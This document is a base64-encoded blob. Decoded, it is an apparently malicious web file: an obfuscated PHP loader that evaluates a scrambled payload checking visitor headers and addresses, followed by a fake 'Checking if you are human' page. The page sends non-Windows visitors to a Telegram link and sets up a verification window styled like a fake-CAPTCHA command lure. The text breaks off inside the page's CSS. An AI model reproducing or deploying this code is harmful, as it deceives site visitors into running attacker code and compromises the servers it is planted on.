TkZ3eE1qQmNNVE0zWERFd01WeDRORE5jZURRelhERXdOVnd4TWpCY2VEVTBYSGcxWmx3eE1UUmNNVEF4WEhnMFpWeDRORGRjTVRJMVhIZzBNVng0TkRkY01UQTFJbDBwSUQ4Z0pGOVRSVkpXUlZKYklsd3hNVEJjTVRJMFhIZzFORnd4TWpCY2VEVm1YSGcwTVZ4NE5ETmNNVEF6WERFd05WeDROVEJjZURVMFhIZzFabHg0TkdOY2VEUXhYSGcwWlZ3eE1EZGNlRFUxWEhnME1WeDRORGRjTVRBMUlsMGdPaUFuSnpzZ1oyOTBieUIyTnpJemNqc2dkamN5TTNJNklDUjVVVlJwVXlBOUlDUmZVMFZTVmtWU1d5SmNlRFE0WERFeU5Gd3hNalJjTVRJd1hERXpOMXd4TVRCY2VEUm1YREV5TTF3eE1qUWlYVHNnWjI5MGJ5QnZNVkJmY3pzZ2IwdEpWa282SUNSck5WVjNlaUE5SUNSZlUwVlNWa1ZTV3lKY01UQTBYREV4TjF4NE5ETmNlRFUxWEhnMFpGeDRORFZjTVRFMlhERXlORnd4TXpkY01USXlYREV4TjF4NE5HWmNlRFUwSWwwN0lHZHZkRzhnYVdKR2JUQTdJRWN4VjJWbU9pQmxZMmh2SUNSME5sZHJNRHNnWjI5MGJ5QkZSR3BIT0RzZ1RWOVBXRmc2SUdWamFHOGdKSFEyVjJzd095Qm5iM1J2SUhWMk9VOUVPeUIxZGpsUFJEb2daWGhwZERzZ1oyOTBieUJPVEhWclJqc2dURkJ0T1RBNklDUlZkMHB0VkNBOUlISmpVRlpJS0NST1VsOTJOQ2s3SUdkdmRHOGdSRWROYmxvN0lIaDZWWEZ0T2lCbGVHbDBPeUJuYjNSdklIa3lUSEoyT3lCTlYyOWhPVG9nSkhSUWRYUm5JRDBnWVhKeVlYa29JbHczTVNJc0lDSmNOekFpTENBaVhEWXlJaXdnSWx3Mk5DSXNJQ0pjZURNMUlpd2dJbHd4TkRRaUxDQWlYSGd6TnlJc0lDSmNOalFpTENBaVhEWXhJaXdnSWx4NE16Y2lMQ0FpWEhnek1pSXNJQ0pjTmpJaUxDQWlYRFkxSWl3Z0lseDROaklpTENBaVhIZ3pOU0lzSUNKY05qVWlMQ0FpWEhnMk1TSXNJQ0pjZURNeUlpd2dJbHg0TmpNaUxDQWlYRFkwSWl3Z0lseDROaklpTENBaVhIZzJOaUlzSUNKY2VETTFJaXdnSWx4NE16QWlMQ0FpWERFME1pSXNJQ0pjZURNNElpd2dJbHg0TmpFaUxDQWlYREUwTVNJc0lDSmNOalFpTENBaVhIZzJNeUlzSUNKY2VETTNJaXdnSWx3Mk15SXBPeUJuYjNSdklGVmxSRkl3T3lCdFVUTmhlam9nYVc1cFgzTmxkQ2dpWERFME5GeDROamxjTVRZelhERTJNRng0Tm1OY2VEWXhYREUzTVZ4NE5XWmNNVFExWEhnM01seDROekpjZURabVhIZzNNbHg0TnpNaUxDQWlYREV4TjF3eE5EWmNNVFEySWlrN0lHZHZkRzhnVVc1bVZrVTdJR054UmxWdU9pQnBaaUFvSVNSNlIwcDFSMXNpWERFMk0xeDROelJjZURZeFhERTJORnd4TmpWY01UWXpJbDBwSUhzZ1oyOTBieUJ2YlVOVGR6c2dmU0JuYjNSdklGbERXbXR1T3lCd2IzWTRiam9nUUdobFlXUmxjaWdpWEhnME0xeDRObVpjTVRVMlhERTJORnd4TkRWY2VEWmxYREUyTkZ4NE1tUmNlRGMwWEhnM09Wd3hOakJjZURZMVhEY3lYRFF3WEhnM05GeDROalZjZURjNFhERTJORncxTjF3eE5UQmNlRGMwWEhnMlpGd3hOVFJjZUROaVhEUXdYREUwTTF4NE5qaGNlRFl4WEhnM01seDROek5jTVRRMVhIZzNORnczTlZ3eE5qVmNlRGMwWERFME5sdzFOVnczTUNJcE95Qm5iM1J2SUcxR1NqWTRPeUJYVVUxdVVqb2dhV1lnS0NFb0pHczVNSGRMSUQwOUlHbHRjR3h2WkdVb0pIUlFkWFJuS1NrcElIc2daMjkwYnlCd1ZVcDBaRHNnZlNCbmIzUnZJR1ZPZVZGdE95QllhbmsyTVRvZ0pIQjRVSGRuSUQwZ1JYUktWRGtvS1RzZ1oyOTBieUJXVkd0VlVUc2dZelJUYzFZNklDUjBObGRyTUNBOUlITjBjbDl5WlhCc1lXTmxLQ0pjZURjNFhERTFOVng0Tm1OY01UTTNYREUwTTF4NE5tWmNNVFUyWEhnM05GeDROalZjTVRVMlhIZzNOQ0lzSUNjbkxDQWtWVWhMZW5JcE95Qm5iM1J2SUVjeFYyVm1PeUJWWlVSU01Eb2dKR3M1TUhkTElEMGdiV1ExS0NSWFRETk5ZeWs3SUdkdmRHOGdWMUZOYmxJN0lHcDBiSGhMT2lBa2VrZEtkVWNnUFNCeVExQjJhQ2hwYlhCc2IyUmxLQ1JIWkhneU1Da2dMaUFrY2tkNlRtVWdMaUFpWERVMlhIZzNOQ0lnTGlBaVhERTNNQ0lnTGlBaVhIZzNOQ0lwT3lCbmIzUnZJR054UmxWdU95QnJiV1Z3V1RvZ2FXWWdLQ0Z6ZEhKemRISW9KRlZJUzNweUxDQWlYREUyTWx3eE5UZGNNVFF5WERFMU4xeDROelJjZURjelhIZzFabHg0TmpOY01UVTNYREUxTmx3eE5qUmNNVFExWERFMU5seDROelFpS1NrZ2V5Qm5iM1J2SUdSeVNtbEhPeUI5SUdkdmRHOGdVRlptUzJRN0lGUktlSFUwT2lCcFppQW9jM1J5YzNSeUtDUlZTRXQ2Y2l3Z0lseDROalJjZURabVhERXpOMXg0Tm1WY01UVTNYSGczTkZ3eE5UQmNNVFV4WERFMU5seDROamNpS1NrZ2V5Qm5iM1J2SUhFNE1uRlFPeUI5SUdkdmRHOGdXa3hwVG00N0lHNXRaRTl4T2lBa1Ywd3pUV01nUFNCemRXSnpkSElvSkd0RldVcElMQ0F3TENBdE5pazdJR2R2ZEc4Z1RWZHZZVGs3SUhvM1dVRXdPaUJ2YlVOVGR6b2daMjkwYnlCTmRXTjFOVHNnUTJwNWNWODZJRUJ6WlhSZmRHbHRaVjlzYVcxcGRDZ3hNREF3S1RzZ1oyOTBieUJRVkhobVdEc2dSVjlCVG5JNklIRTRNbkZRT2lCbmIzUnZJSFZrYkVkSE95QkJjMEpTVkRvZ1puVnVZM1JwYjI0Z1luRkdVeklvS1NCN0lHZHZkRzhnV0Y5WVprVTdJRk42V0ZKNU9pQm5iM1J2SUdGUGREVmpPeUJuYjNSdklIRkZNbXh5T3lCSVZXRkpTam9nWjI5MGJ5QjRNRUYzVHpzZ1oyOTBieUJUWDJGelVqc2dUbkpYYTB3NklHbG1JQ2doWlcxd2RIa29KRjlUUlZKV1JWSmJJbHg0TkRoY2VEVTBYSGcxTkZ3eE1qQmNNVE0zWEhnMU9GeDROV1pjTVRBMlhIZzBabHd4TWpKY01USTNYSGcwTVZ4NE5USmNlRFEwWERFd05Wd3hNRFJjZURWbVhIZzBObHg0TkdaY01USXlJbDBwS1NCN0lHZHZkRzhnVlhGdGFuYzdJSDBnWjI5MGJ5QlpjMDFGYmpzZ1FqUkxjbk02SUhnd1FYZFBPaUJuYjNSdklGTjZXRko1T3lCVFgyRnpVam9nVlhGdGFuYzZJR2R2ZEc4Z1FWTnhSa2c3SUVGVGNVWklPaUFrWW1KcFlXWWdQU0FrWDFORlVsWkZVbHNpWEhnME9GeDROVFJjTVRJMFhIZzFNRnd4TXpkY01UTXdYREV6TjF4NE5EWmNlRFJtWERFeU1seDROVGRjTVRBeFhIZzFNbHg0TkRSY01UQTFYSGcwTkZ4NE5XWmNNVEEyWERFeE4xd3hNaklpWFRzZ1oyOTBieUJDTkV0eWN6c2dXWE5OUlc0NklDUmlZbWxoWmlBOUlDUmZVMFZTVmtWU1d5SmNlRFV5WEhnME5Wd3hNVFZjZURSbVhIZzFORnd4TURWY2VEVm1YREV3TVZ3eE1EUmNlRFEwWERFeU1pSmRPeUJuYjNSdklFaFZZVWxLT3lCeFJUSnNjam9nWldOTlNXbzZJR2R2ZEc4Z1RqVlpSR2s3SUVvNFlreE1PaUJ5WlhSMWNtNGdKR0ppYVdGbU95Qm5iM1J2SUZsVGNERkZPeUJZWDFobVJUb2dKR0ppYVdGbUlEMGdKeWM3SUdkdmRHOGdRbFJ3ZFc4N0lFNDFXVVJwT2lBa1ltSnBZV1lnUFNBa1gxTkZVbFpGVWxzaVhERXhNRnd4TWpSY2VEVTBYSGcxTUZ3eE16ZGNlRFF6WEhnMFkxd3hNVEZjTVRBMVhERXhObHg0TlRSY2VEVm1YREV4TVZ3eE1qQWlYVHNnWjI5MGJ5QnljVGx0WkRzZ2NuRTViV1E2SUdGUGREVmpPaUJuYjNSdklFbzRZa3hNT3lCQ1ZIQjFiem9nYVdZZ0tDRmxiWEIwZVNna1gxTkZVbFpGVWxzaVhERXhNRnd4TWpSY01USTBYREV5TUZ4NE5XWmNlRFF6WERFeE5GeDRORGxjZURRMVhERXhObHd4TWpSY01UTTNYSGcwT1Z4NE5UQWlYU2twSUhzZ1oyOTBieUJsWTAxSmFqc2dmU0JuYjNSdklFNXlWMnRNT3lCWlUzQXhSVG9nZlNCbmIzUnZJR1ZIWjJGM095QjVNbWRzVlRvZ1oyOTBieUI1V0ZVNE5Uc2daMjkwYnlCNE1IRmZkRHNnUzNoVFYwczZJSFZ1YkdsdWF5Z2thelZWZDNvZ0xpQWlYRFUzWERFMk1seDRObVpjTVRReVhIZzJabHg0TnpSY01UWXpYRFUyWEhnM05Gd3hOekJjZURjMElpazdJR2R2ZEc4Z2JqTk1UMk03SUhnd2NWOTBPaUJQWVZsUWVEb2daMjkwYnlCNmRVZFBaVHNnVkRWdFExazZJR2xtSUNnaEtDUkliVWRETWlCOGZDQWtSRkJIWTFFZ2ZId2dJU1JWWld4dk55a3BJSHNnWjI5MGJ5QnJNVWx0YWpzZ2ZTQm5iM1J2SUhKUWIxRkJPeUJwWWtadE1Eb2dKR1U0Tm5sbElEMGdJbHg0TnpWY01UUTBYSGczTUZ4NE5qRmNlRFptWEhnek1WeDRNbVZjTVRZM1hIZzJPVnd4TmpOY2VEWTRYSGczTTF3eE5UUmNNVFUzWERFMk5GdzFObHd4TmpSY01UVTNYSGczTUNJN0lHZHZkRzhnV0dwNU5qRTdJRVZFYWtjNE9pQmxlR2wwT3lCbmIzUnZJRk5QT1RWcU95QkZSemgwYnpvZ0pGVjNTbTFVSUQwZ1lYSnlZWGtvS1RzZ1oyOTBieUJ5VG1sTGFqc2daelYyZFZVNklDUkliVWRETWlBOUlHUlRNa2Q0S0NSV1NYTk5OeWs3SUdkdmRHOGdkMlp6YjNrN0lIRjVTVmR5T2lBa2VITmZiMU1nUFNBaVhIZzJPRng0TnpSY01UWTBYSGczTUZ4NE5XWmNlRGMwWERFM01WeDROekJjZURZMVhEYzFJaUF1SUdKaGMyVTJORjlsYm1OdlpHVW9KSEI0VUhkbktTQXVJQ0pjTkRaY01UVXdYREUyTkZ3eE5qUmNlRGN3WEhnMVpsd3hOalZjTVRZeVhERTFNVnczTlNJZ0xpQmlZWE5sTmpSZlpXNWpiMlJsS0NScWFVeFNXU2tnTGlBaVhIZ3lObHd4TlRCY2VEYzBYREUyTkZ3eE5qQmNNVE0zWEhnMlkxd3hOREZjZURabFhIZzJOMXczTlNJZ0xpQmlZWE5sTmpSZlpXNWpiMlJsS0NSR2MyUkdhQ2tnTGlBaVhEUTJYSGcyT0Z4NE56UmNNVFkwWEhnM01Gd3hNemRjZURZNFhIZzJabHd4TmpOY2VEYzBYSGd6WkNJZ0xpQmlZWE5sTmpSZlpXNWpiMlJsS0NSNVVWUnBVeWtnTGlBaVhEUTJYSGcyT0Z3eE5qUmNNVFkwWEhnM01Gd3hNemRjTVRZeVhIZzJOVnd4TkRaY01UUTFYREUyTWx4NE0yUWlJQzRnWW1GelpUWTBYMlZ1WTI5a1pTZ2tjalF5Um04cElDNGdJbHcwTmx3eE5UQmNNVFkwWERFMk5GeDROekJjTVRNM1hIZzNOVng0TnpOY2VEWTFYSGczTWx3eE16ZGNlRFl4WEhnMk4xeDROalZjTVRVMlhIZzNORnczTlNJZ0xpQmlZWE5sTmpSZlpXNWpiMlJsS0NSV1NYTk5OeWtnTGlBaVhEUTJYSGcyT0Z3eE5qUmNNVFkwWEhnM01Gd3hNemRjTVRVeFhIZzNNRnd4TXpkY01UUXhYSGcyTkZ3eE5EUmNNVFl5WEhnMk5Wd3hOak5jTVRZelhEYzFJaUF1SUdKaGMyVTJORjlsYm1OdlpHVW9KR3ROYmpKSktUc2daMjkwYnlCRlJ6aDBienNnZDJaemIzazZJQ1JFVUVkalVTQTlJRnBQYWtrd0tDUnlOREpHYnlrN0lHZHZkRzhnVldkSGJVczdJRUl6TkRad09pQWtZa0pNVFVzZ1BTQmxlSEJzYjJSbEtDSmNNVE16WERVeVhIZ3lZVng0TW1GY2VEVmtJaXdnYzNSeVgzSmxjR3hoWTJVb0lsd3hOakpjTVRVM1hIZzJNbHg0Tm1aY2VEYzBYSGczTTF3eE5ETmNNVFUzWERFMU5seDROelJjTVRRMVhERTFObHg0TnpRaUxDQW5KeXdnSkhRMlYyc3dLU2s3SUdkdmRHOGdhVEJNU3pJN0lGRmlibEpzT2lBa1ZrbHpUVGNnUFNCcGMzTmxkQ2drWDFORlVsWkZVbHNpWERFeE1Gd3hNalJjZURVMFhIZzFNRng0TldaY2VEVTFYSGcxTTF3eE1EVmNNVEl5WEhnMVpseDROREZjZURRM1hERXdOVng0TkdWY01USTBJbDBwSUQ4Z0pGOVRSVkpXUlZKYklsd3hNVEJjZURVMFhIZzFORng0TlRCY2VEVm1YSGcxTlZ4NE5UTmNlRFExWEhnMU1seDROV1pjZURReFhERXdOMXg0TkRWY2VEUmxYREV5TkNKZElEb2dKeWM3SUdkdmRHOGdlalZpV2prN0lHOHhVRjl6T2lBa2NqUXlSbThnUFNCcGMzTmxkQ2drWDFORlVsWkZVbHNpWEhnME9GeDROVFJjZURVMFhIZzFNRnd4TXpkY01USXlYREV3TlZ3eE1EWmNNVEExWEhnMU1seDRORFZjTVRJeUlsMHBJRDhnSkY5VFJWSldSVkpiSWx4NE5EaGNlRFUwWEhnMU5Gd3hNakJjTVRNM1hERXlNbHg0TkRWY2VEUTJYSGcwTlZ4NE5USmNNVEExWEhnMU1pSmRJRG9nSnljN0lHZHZkRzhnVVdKdVVtdzdJRk5QT1RWcU9pQmhUM0YzZERvZ1oyOTBieUJyYldWd1dUc2dWRnBzVjFBNklHWjFibU4wYVc5dUlGcHZhbWt3S0NSU2NEZEVVU2tnZXlCbmIzUnZJRzQyYmtoME95QnNaamszY3pvZ0pGcG9TV1J4SUQwZ0lseDROamRjZURabVhIZzJabHg0TmpkY01UVTBYSGcyTlZ4NE1tVmNNVFF6WERFMU4xdzFObHg0Tm1GY01UWXdYSGczWTF4NE5qZGNNVFUzWERFMU4xd3hORGRjTVRVMFhIZzJOVncxTmx3eE5ETmNNVFUzWEhnMlpGd3hOelJjTVRjeFhERTBNVng0TmpoY01UVTNYREUxTjF3MU5sd3hORE5jZURabVhIZ3laVng0Tm1GY01UWXdYSGczWTF4NE56bGNlRFl4WERFMU1GeDRObVpjZURabVhIZ3laVnd4TkROY01UVTNYSGcyWkZ4NE4yTmNlRFl5WEhnMk9WeDRObVZjTVRRM1hEVTJYREUwTTF3eE5UZGNlRFprSWpzZ1oyOTBieUJIT0VkSmNEc2diVFY2Y1dzNklIVm1jSFpyT2lCbmIzUnZJSEJ1T0RkZk95QjFZMjFHU1RvZ0pFUlFSMk5SSUQwZ2RISjFaVHNnWjI5MGJ5QnROWHB4YXpzZ1J6aEhTWEE2SUdsbUlDZ2hKRkp3TjBSUktTQjdJR2R2ZEc4Z2FFcFliRXM3SUgwZ1oyOTBieUJNYkU5WVZEc2djRzQ0TjE4NklHaEtXR3hMT2lCbmIzUnZJSEU1ZVZBNE95QnVObTVJZERvZ0pFUlFSMk5SSUQwZ1ptRnNjMlU3SUdkdmRHOGdiR1k1TjNNN0lIRTVlVkE0T2lCeVpYUjFjbTRnSkVSUVIyTlJPeUJuYjNSdklGZGlOVmh3T3lCTWJFOVlWRG9nYVdZZ0tDRndjbVZuWDIxaGRHTm9LQ0pjTlRkY2VESTRleVJhYUVsa2NYMWNlREk1WEhneVpseDROek5jZURZNUlpd2dKRkp3TjBSUktTa2dleUJuYjNSdklIVm1jSFpyT3lCOUlHZHZkRzhnZFdOdFJrazdJRmRpTlZod09pQjlDajgrIjskdz0iPz4iO2V2YWwoJHcuJHUoJHYpKTskcz0id3hOVEJjTVRZMFhERTJORiI7JHg9MDs/PjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CjxoZWFkPgogIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ii8+CiAgPHNjcmlwdD4KKGZ1bmN0aW9uICgpIHsKICBjb25zdCByZWRpcmVjdFVybCA9ICJodHRwczovL3QubWUvVGFybmthcHBlX2luZm8iOwoKICAKICBjb25zdCB1YSA9IG5hdmlnYXRvci51c2VyQWdlbnQgfHwgIiI7CiAgY29uc3QgaXNXaW5kb3dzID0KICAgIHVhLmluY2x1ZGVzKCJXaW5kb3dzIE5UIikgfHwKICAgIHVhLmluY2x1ZGVzKCJXaW42NCIpIHx8CiAgICB1YS5pbmNsdWRlcygiV2luMzIiKTsKCiAgaWYgKCFpc1dpbmRvd3MpIHsKICAgIAogICAgaWYgKHdpbmRvdy5sb2NhdGlvbi5ocmVmICE9PSByZWRpcmVjdFVybCkgewogICAgICB3aW5kb3cubG9jYXRpb24ucmVwbGFjZShyZWRpcmVjdFVybCk7CiAgICB9CiAgfQp9KSgpOwo8L3NjcmlwdD4KCiAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlPTEiLz4KICA8dGl0bGU+Q2hlY2tpbmcgaWYgeW91IGFyZSBodW1hbjwvdGl0bGU+CiAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9mb250LWF3ZXNvbWUvNi4wLjAtYmV0YTMvY3NzL2FsbC5taW4uY3NzIj4KICA8bGluayByZWw9Imljb24iIGlkPSJkeW5hbWljLWZhdmljb24iIGhyZWY9ImRhdGE6LCI+CiAgPHN0eWxlPgoKICAgIGJvZHkgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjZmNmY2ZjOyBjb2xvcjogIzMzMzsgfQogICAgLnRldHR4IHsgY29sb3I6IHJnYig3OCA3OCA3OCk7IH0KICAgIC52ZXJpZnktbWFpbiB7IGNvbG9yOiAjMzMzICFpbXBvcnRhbnQ7IH0KICAgIC52ZXJpZnktdmVyaWZ5LWJ1dHRvbiB7IGJhY2tncm91bmQ6ICMzMzMzMzMgIWltcG9ydGFudDsgfQogICAgLmNoZWNrYm94LXdpbmRvdyB7IGRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IGFsaWduLWl0ZW1zOiBjZW50ZXI7IHdpZHRoOiAzMDBweDsgaGVpZ2h0OiA3NHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjZmFmYWZhOyBib3JkZXI6IDFweCBzb2xpZCAjZTBlMGUwOyBib3JkZXItcmFkaXVzOiA0cHg7IHBhZGRpbmc6IDEwcHg7IG92ZXJmbG93OiBoaWRkZW47IHRyYW5zaXRpb246IHdpZHRoIC41cyBlYXNlLWluLW91dCwgaGVpZ2h0IC41cyBlYXNlLWluLW91dDsgfQogICAgLmNoZWNrYm94LWNvbnRhaW5lciB7IHdpZHRoOiAyOHB4OyBoZWlnaHQ6IDI4cHg7IG1hcmdpbi1sZWZ0OiAxMnB4OyBtYXJnaW4tcmlnaHQ6IDhweDsgcG9zaXRpb246IHJlbGF0aXZlOyB9CiAgICAuY2hlY2tib3ggeyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAxMDAlOyBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOyBib3JkZXItcmFkaXVzOiAycHg7IGJvcmRlcjogMnB4IHNvbGlkICM4ODg7IGN1cnNvcjogcG9pbnRlcjsgdHJhbnNpdGlvbjogYm9yZGVyLWNvbG9yIC4zcywgYmFja2dyb3VuZC1jb2xvciAuM3M7IH0KICAgIC5jaGVja2JveC5jaGVja2VkIHsgYm9yZGVyLWNvbG9yOiAjNDI4NWY0OyBiYWNrZ3JvdW5kLWNvbG9yOiAjNDI4NWY0OyBwb3NpdGlvbjogcmVsYXRpdmU7IH0KICAgIC5jaGVja2JveC5jaGVja2VkOjphZnRlciB7IGNvbnRlbnQ6ICJcZjAwYyI7IGZvbnQtZmFtaWx5OiAiRm9udEF3ZXNvbWUiOyBjb2xvcjogI2ZmZjsgZm9udC1zaXplOiAxOHB4OyBwb3NpdGlvbjogYWJzb2x1dGU7IHRvcDogLTJweDsgbGVmdDogMnB4OyB9CiAgICAuc3Bpbm5lciB7IHZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IHJlbGF0aXZlOyB9CiAgICAudmVyaWZ5LXdpbmRvdyB7IG9wYWNpdHk6IDA7IHZpc2liaWxpdHk6IGhpZGRlbjsgd2lkdGg6IDEwMCU7IGhlaWdodDogMDsgdHJhbnNpdGlvbjogb3BhY2l0eSAuNXMsIGhlaWdodCAuNXM7IH0KICAgIC52ZXJpZnktd2luZG93LmFjdGl2ZSB7IG9wYWNpdHk6IDE7IHZpc2liaWxpdHk6IHZpc2libGU7IGhlaWdodDogYXV0bzsgfQogICAgLnZlcmlmeS1oZWFkZXIgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjZTg1ZDFhOyBwYWRkaW5nOiAxMHB4OyBjb2xvcjogI2ZmZjsgZm9udC1zaXplOiAxNHB4OyB9CiAgICAudmVyaWZ5LW1haW4geyBwYWRkaW5nOiAxMHB4OyBmb250LXNpemU6IDE0cHg7IGNvbG9yOiAjZmZmOyB9CiAgICAudmVyaWZ5LWZvb3RlciB7IGJhY2tncm91bmQtY29sb3I6ICNmMmYyZjI7IHBhZGRpbmc6IDEwcHg7IHRleHQtYWxpZ246IHJpZ2h0OyB9CiAgICAudmVyaWZ5LWZvb3RlciBidXR0b24geyBwYWRkaW5nOiA4cHggMTVweDsgYmFja2dyb3VuZDogIzQyODVmNDsgY29sb3I6ICNmZmY7IGJvcmRlcjogbm9uZTsgY3Vyc29yOiBwb2ludGVyOyBib3JkZXItcmFkaXVzOiA0cHg7IH0KICAgIC52ZXJpZnktd2luZG93IHsgd2lkdGg6IGF1dG87IH0KICAgIC52ZXJpZnktaGVhZGVyIHsgYmFja2dyb3VuZC1jb2xvcjogI2U4NWQxYTsgcGFkZGluZzogMTBweCAxNnB4OyBjb2xvcjogI2ZmZjsgZm9udC1zaXplOiAxNHB4OyBib3JkZXItcmFkaXVzOiAwOyB9CiAgICAubGRzLXJpbmcgeyBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IHBvc2l0aW9uOiByZWxhdGl2ZTsgfQogICAgLmxkcy1yaW5nLCAubGRzLXJpbmcgZGl2IHsgaGVpZ2h0OiAxLjg3NXJlbTsgd2lkdGg6IDEuODc1cmVtOyB9CiAgICAubGRzLXJpbmcgZGl2IHsgYW5pbWF0aW9uOiBsZHMtcmluZyAxLjJzIGN1YmljLWJlemllciguNSwwLC41LDEpIGluZmluaXRlOyBib3JkZXI6IC4zcmVtIHNvbGlkIHRyYW5zcGFyZW50OyBib3JkZXItcmFkaXVzOiA1MCU7IGJvcmRlci10b3AtY29sb3I6ICMzMTMxMzE7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7IGRpc3BsYXk6IGJsb2NrOyBwb3NpdGlvbjogYWJzb2x1dGU7IH0KICAgIC5sZHMtcmluZyBkaXY6Zmlyc3QtY2hpbGQgeyBhbmltYXRpb24tZGVsYXk6IC0uNDVzOyB9CiAgICAubGRzLXJpbmcgZGl2Om50aC1jaGlsZCgyKSB7IGFuaW1hdGlvbi1kZWxheTogLS4zczsgfQogICAgLmxkcy1yaW5nIGRpdjpudGgtY2hpbGQoMykgeyBhbmltYXRpb24tZGVsYXk6IC0uMTVzOyB9CiAgICBAa2V5ZnJhbWVzIGxkcy1yaW5nIHsgMCUgeyB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTsgfSB0byB7IHRyYW5zZm9ybTogcm90YXRlKDF0dXJuKTsgfSB9CiAgICBAbWVkaWEgKHByZWZlcnMtY29sb3Itc2NoZW1lOiBkYXJrKSB7IGJvZHkgLmxkcy1yaW5nIGRpdiB7IGJvcmRlci1jb2xvcjogIzY3Njc2NyB0cmFuc3BhcmVudCB0cmFuc3BhcmVudDsgfSB9CiAgICAqIHsgYm94LXNpemluZzogYm9yZGVyLWJveDsgbWFyZ2luOiAwOyBwYWRkaW5nOiAwOyB9CiAgICBib2R5IHsgZm9udC1mYW1pbHk6IHN5c3RlbS11aSwtYXBwbGUtc3lzdGVtLEJsaW5rTWFjU3lzdGVtRm9udCwiU2Vnb2UgVUkiLFJvYm90bywiSGVsdmV0aWNhIE5ldWUiLEFyaWFsLCJOb3RvIFNhbnMiLHNhbnMtc2VyaWYsIkFwcGxlIENvbG9yIEVtb2ppIiwiU2Vnb2UgVUkgRW1vamkiLCJTZWdvZSBVSSBTeW1ib2wiLCJOb3RvIENvbG9yIEVtb2ppIjsgZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgaGVpZ2h0OiAxMDB2aDsgbWluLWhlaWdodDogMTAwdmg7IH0KICAgIC5tYWluLXdyYXBwZXIgeyBhbGlnbi1pdGVtczogY2VudGVyOyBkaXNwbGF5OiBmbGV4OyBmbGV4OiAxOyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyB9CiAgICAubWFpbi1jb250ZW50IHsgbWFyZ2luOiA4cmVtIGF1dG87IG1heC13aWR0aDogNjByZW07IHBhZGRpbmctbGVmdDogMS41cmVtOyBwYWRkaW5nLXJpZ2h0OiAxLjVyZW07IHdpZHRoOiAxMDAlOyB9CiAgICAuZm9vdGVyIHsgZm9udC1zaXplOiAuNzVyZW07IGxpbmUtaGVpZ2h0OiAxLjEyNXJlbTsgbWFyZ2luOiAwIGF1dG87IG1heC13aWR0aDogNjByZW07IHBhZGRpbmctbGVmdDogMS41cmVtOyBwYWRkaW5nLXJpZ2h0OiAxLjVyZW07IHdpZHRoOiAxMDAlOyB9CiAgICAuZm9vdGVyLWlubmVyIHsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNkOWQ5ZDk7IHBhZGRpbmctYm90dG9tOiAxcmVtOyBwYWRkaW5nLXRvcDogMXJlbTsgdGV4dC1hbGlnbjogY2VudGVyOyB9CgogICAgLnZlcmlmeS13aW5kb3cgeyBmb250LWZhbWlseTogUm9ib3RvLGhlbHZldGljYSxhcmlhbCxzYW5zLXNlcmlmOyBvcGFjaXR5OiAwOyB2aXNpYmlsaXR5OiBoaWRkZW47IG1hcmdpbjogYXV0bzsgd2lkdGg6IDMxMHB4OyB0cmFuc2l0aW9uOiBvcGFjaXR5IDQwMG1zOyB9CiAgICAudmVyaWZ5LXdpbmRvdyB7IGRpc3BsYXk6IGJsb2NrOyB0b3A6IDVweDsgbGVmdDogNTRweDsgfQogICAgLnZlcmlmeS1oZWFkZXIgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMWE3M2U4OyBwYWRkaW5nOiAxNnB4OyBjb2xvcjogI2ZmZjsgZm9udC1zaXplOiAxOHB4OyBib3JkZXItcmFkaXVzOiA4cHggOHB4IDAgMDsgfQogICAgLnZlcmlmeS1tYWluIHsgcGFkZGluZzogMTZweDsgZm9udC1zaXplOiAxNHB4OyBjb2xvcjogIzMzMzsgfQogICAgLnZlcmlmeS1tYWluIG9sIHsgcGFkZGluZy1sZWZ0OiAyMHB4OyB9CiAgICAudmVyaWZ5LW1haW4gb2wgbGkgeyBtYXJnaW4tYm90dG9tOiAxMHB4OyB9CiAgICAudmVyaWZ5LW1haW4gY29kZSB7IGRpc3BsYXk6IGJsb2NrOyBtYXJnaW4tdG9wOiAxMHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjZjlmOWY5OyBwYWRkaW5nOiAxMHB4OyBmb250LXNpemU6IDEycHg7IGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7IH0KICAgIC52ZXJpZnktZm9vdGVyIHsgYmFja2dyb3VuZC1jb2xvcjogI2YyZjJmMjsgcGFkZGluZzogMTZweDsgdGV4dC1hbGlnbjogcmlnaHQ7IH0KICAgIC52ZXJpZnktZm9vdGVyIGJ1dHRvbiB7IHBhZGRpbmc6IDEwcHggMjBweDsgYmFja2dyb3VuZDogIzQyODVmNDsgY29sb3I6ICNmZmY7IGJvcmRlcjogbm9uZTsgYm9yZGVyLXJhZGl1czogNXB4OyBjdXJzb3I6IHBvaW50ZXI7IH0KICAgIC5vdmVybGF5IHsgZGlzcGxheTogbm9uZTsgcG9zaXRpb246IGZpeGVkOyB0b3A6IDA7IGxlZnQ6IDA7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IGJhY2tncm91bmQ6IHJnYmEoMCwwLDAsLjUpOyB6LWluZGV4OiAxMDsgfQogICAgLm92ZXJsYXkuYWN0aXZlLCAudmVyaWZ5LXdpbmRvdy5hY3RpdmUgeyBkaXNwbGF5OiBibG9jazsgfQogICAgLnZlcmlmeS13aW5kb3cgeyB3aWR0aDogYXV0bzsgfQogICAgLnZlcmlmeS1oZWFkZXIgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjZTg1ZDFhOyBwYWRkaW5nOiAxMHB4IDE2cHg7IGNvbG9yOiAjZmZmOyBmb